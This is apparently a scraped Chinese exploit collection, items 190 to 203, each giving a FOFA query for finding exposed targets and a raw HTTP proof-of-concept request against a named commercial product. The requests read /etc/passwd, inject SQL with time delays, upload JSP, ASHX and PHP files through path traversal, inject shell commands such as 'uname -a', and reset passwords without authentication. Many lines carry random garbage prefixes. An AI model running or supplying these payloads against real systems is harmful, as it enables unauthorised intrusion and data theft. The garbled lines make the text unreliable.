0 Q% [. _& K5 s' C- z; C1 ]% OAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
% Q. w' g6 U* S) z: e+ Z5 xConnection: close
: p8 V3 _- |9 O

190. 短视频矩阵营销系统 poihuoqu 任意文件读取
6 S/ Q; t9 W1 @. B+ d' Y) \4 ^FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
8 `* u4 E- I3 C8 `/ _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
8 V& A$ ^1 F9 l- P8 u! C& I* ?Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
! B3 Y1 ?# z! l: f  O: XAccept-Language: zh-CN,zh;q=0.9
9 h( y5 E& E5 M
poi=file:///etc/passwd

1 r1 k. }  A$ X& t
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
' m% C0 c  o! h( y2 X" H% wFOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
! c4 i1 o5 c! k- c/ y3 _2 ]0 t& yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
0 Z7 I1 J7 n- I( T3 Z% UContent-Type: application/x-www-form-urlencoded

command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=

  k5 o0 o+ K& X& i% i& n
) T$ j, D. P4 h4 V, i& i192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
$ E  \; Z8 c2 P/ M5 y! B, }User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded

$ a" Y' @  Q8 n
8 O7 c7 |# ?+ Z" f$ b$ m<% @ webhandler language="C#" class="AverageHandler" %>
9 Y9 T/ O; D6 xusing System;
4 \' |( }8 X. E$ r3 k6 h+ }using System.Web;
public class AverageHandler : IHttpHandler
{
! z3 a# H  _* i+ o  F( R; [9 q4 r3 spublic bool IsReusable
{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
: H7 B4 |  O$ q{
- {/ X% g: h5 t$ J% wctx.Response.Write("test");
) l4 V" k; D* F}
}

7 N' o" z1 J( y' Q0 |7 f0 l. p
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
3 P8 ^, S3 m% Z, S- r. E6 eCookie: PHPSESSID=2333333333333;
; m/ F$ S# c/ iContent-Type: application/x-www-form-urlencoded
4 F2 B, v3 ^4 \7 m2 q* {User-Agent: Mozilla/5.0
, w, H1 c. s" L% k

  M, J" f& x' c7 n5 A: DPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
4 G' x6 t* f- T$ j8 [: zHost:
+ j3 l/ ]5 g0 _$ F- I4 xUser-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
& U! K* y+ v- |  x# r6 n4 y' P* yConnection: close
$ Z; ~( W& N2 |! m3 n; O* CCookie: PHPSESSID=2333333333333;
# z2 O, @: M5 g6 _8 z6 \6 c1 CContent-Type: application/x-www-form-urlencoded
Content-Length: 84
$ p) v8 b! y- F8 X# ^0 d, n
' L. O7 \9 G4 oparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')


+ |" D. \) h9 ~, s1 P9 n! IGET /master/img/config HTTP/1.1
Host:
User-Agent: Mozilla/5.0
/ _4 [$ ?$ l8 l  c) L/ h
6 F7 D! w2 g! h+ Q2 ?  W
/ t' y& V$ @1 D. ?; Y194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
/ m; F2 O8 L! l4 J, o1 K4 w+ ^FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
# |  z3 o8 G7 M- I( d
( [( S$ x& z6 {4 O: q$ k$ S5 RPOST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
  T0 S! d1 ?; e! T* K$ a1 W9 }Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
9 v6 r. Z* R3 A; `Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
# q' W2 c. f5 C
3 P) S9 Z" r4 h( q6 AContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
  `4 c/ b- B6 `; G! \3 GContent-Type: text/plain
% W! a& m5 n0 J# n1 w- v4 ?<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
  F) y3 q7 z# K' e {"iq":{"query":{"UpdateType":"mail"}}}
1 F& {/ M( @) E0 v  @" `# M; j, A. y------WebKitFormBoundaryKNt0t4vBe8cX9rZk--

" r  r9 }" Y' y6 B9 x. v- T
$ [" Z: X" ]% P9 x9 x4 C195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
9 B3 ]1 j! g; t( a6 }* l  NPOST /send_order.cgi?parameter=operation HTTP/1.1
6 }; c% ]7 u# @& e) s! u4 F* mHost: 127.0.0.1
$ v- D8 T. Q0 O8 y# q. b5 mPragma: no-cache
! B9 e4 [3 A. s. O$ tCache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
3 S, _; M: G6 K. ~! GAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
& o0 G$ U1 L3 M% l/ gConnection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 68

{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
0 z" d* ^- |' A" q0 C9 F- {6 z
$ O/ ^# O. z9 M2 ]+ y3 @+ T4 P
2 c0 x$ N- P& P& u. r196. 河南省风速科技统一认证平台密码重置
+ {6 @  y" ~( EFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
4 r/ U; ~5 h+ ^6 O4 ^5 R& M' P$ aContent-Type: application/json;charset=UTF-8
9 Q# j/ s) N1 {9 |  z' pX-Requested-With: XMLHttpRequest
' h! ?* F$ n( T# Q& W& QHost:
0 }% N0 m9 m5 G4 O) a  ?, hAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
Connection: close

) C( ^' o5 f1 ]' d1 v% h{"xgh":"test","newPass":"test666","email":""}


2 f2 u+ h' d5 k3 C
) p  `( D3 S+ f& L197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
  x8 Z/ A; j- aGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
1 O) H% ~8 M5 R. _/ [/ c: kHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
* U: B! ~0 U  a" q3 w: ]Accept-Encoding: gzip, deflate
Connection: close
8 k; C7 f% f0 q& n/ D

! ?1 B$ s2 Q* @/ ~
198.  阿里云盘 WebDAV 命令注入
4 _# w2 z1 Q7 _CVE-2024-29640
; l- e3 P. i0 d1 J% Q5 R9 UGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
, f/ S0 A7 h9 P. E8 J$ BCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
, `! j" A9 t, H" ^- S6 P$ B: tAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
9 T( `, ^+ j6 Q* B/ b' f' |
- P6 G# k+ |6 K  h
199. cockpit系统assetsmanager_upload接口 文件上传
. Y8 k1 @3 m: E' ?' |+ v
1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
# [8 K3 [; M2 F8 HGET /auth/login?to=/ HTTP/1.1
/ a3 {2 F& w8 X. v) @
  q2 n' S) U0 m6 w$ z响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
7 l3 a  V) H: ?4 h6 a. n
2.使用刚才上一步获取到的jwt获取cookie：
! W7 x  _5 Q% o# B% `8 _& L
POST /auth/check HTTP/1.1
Content-Type: application/json
- @  s2 w8 ~  Q% Z& {
5 @6 I2 \# ]' D" z/ Z. ?{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
8 e: c! y  d1 y- _+ F! SPOST /assetsmanager/upload HTTP/1.1
7 a) C3 s" |. u$ F5 c+ [3 q; MContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
& v+ `) [- }& n7 X$ \Cookie: mysession=95524f01e238bf51bb60d77ede3bea92

-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
- }( @% W. K1 V4 O. kContent-Type: text/php

9 J; ]  R% J5 P# q5 C2 |<?php echo "tttt";unlink(__FILE__);?>
  p# T7 Z1 Y8 L+ T5 [-----------------------------36D28FBc36bd6feE7Fb3
7 M; w1 K# Y1 {8 s% r8 dContent-Disposition: form-data; name="folder"

-----------------------------36D28FBc36bd6feE7Fb3--
0 Q5 W% o$ H6 \
7 \, `1 k% c# v0 y! w, v0 X
/storage/uploads/tttt.php
+ N- R, y8 n+ e( R/ m
1 ^" \9 C; T5 S200. SeaCMS海洋影视管理系统dmku SQL注入
" d* g  ]  q" tFOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
7 C7 F4 j5 Q" C, s# g/ L" {Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
8 P2 z2 z* g8 `5 E( ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
3 J% a9 V% r" k% I1 W5 ~% oAccept-Language: zh-CN,zh;q=0.9

  c7 b+ b( u* l5 H2 B. t
4 u# K( {0 ~- v- d201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
0 h( S: @" }- nContent-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
; X- d7 a: H7 B/ hConnection: close

TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1

4 z: d4 ^* X0 c3 I' s
$ I9 U! w) N# y/ M" K& A0 c202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
9 v% F% \& h7 j. K8 G获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
/ ]5 \! J% q& b  A* ]) mHost: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
( g' Y) p$ f8 F6 Z  \Content-Length: 0
! M6 L3 t4 d2 G. ]

, p5 C0 w5 \- J: K( o" {' h替换__VIEWSTATE和__EVENTVALIDATION值
- p$ L5 s( J: g9 ]5 qPOST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
: `% e' J  f' M
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"

6 G3 m3 Z: s" ^__VIEWSTATE
' ?) A  |9 I$ F( o" a  j-----------------------------786435874t38587593865736587346567358735687
  H5 ^6 H$ c0 ]0 p5 w) \4 hContent-Disposition: form-data; name="__EVENTVALIDATION"
" X- O* [. f2 _
__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
# o) r, |! s1 d/ GContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
; [  {: \6 p: g& R7 \8 E% H0 FContent-Type: text/plain

Hello World!
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
% ?/ r. H7 I! ~! F9 ~% q0 @8 a
2 w5 c6 c- W2 {( L: f% P6 b上传图片
( k, j+ r% K( p- r-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"

9 _2 P9 o( o6 {  t2 u" l
" W" \3 j+ W2 i/ g% M- E/ ?-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
; q7 R5 l( R! Q

-----------------------------786435874t38587593865736587346567358735687--

0 O5 p6 C" }3 M+ z; W( I
! f  H+ F$ G! O4 ]6 E* y/_data/Uploads/1123.txt

203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
. D! v* A- f: ~/ o9 T6 ?Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
+ M6 d* k8 d* Z. p3 bContent-Length: 210
' g# E2 j7 w2 t, u/ T1 M
" B+ k7 n6 w$ c0 y' e------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
7 k' r9 x! w2 fContent-Type:image/jpeg

<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--






+ r# }$ I& A) r0 f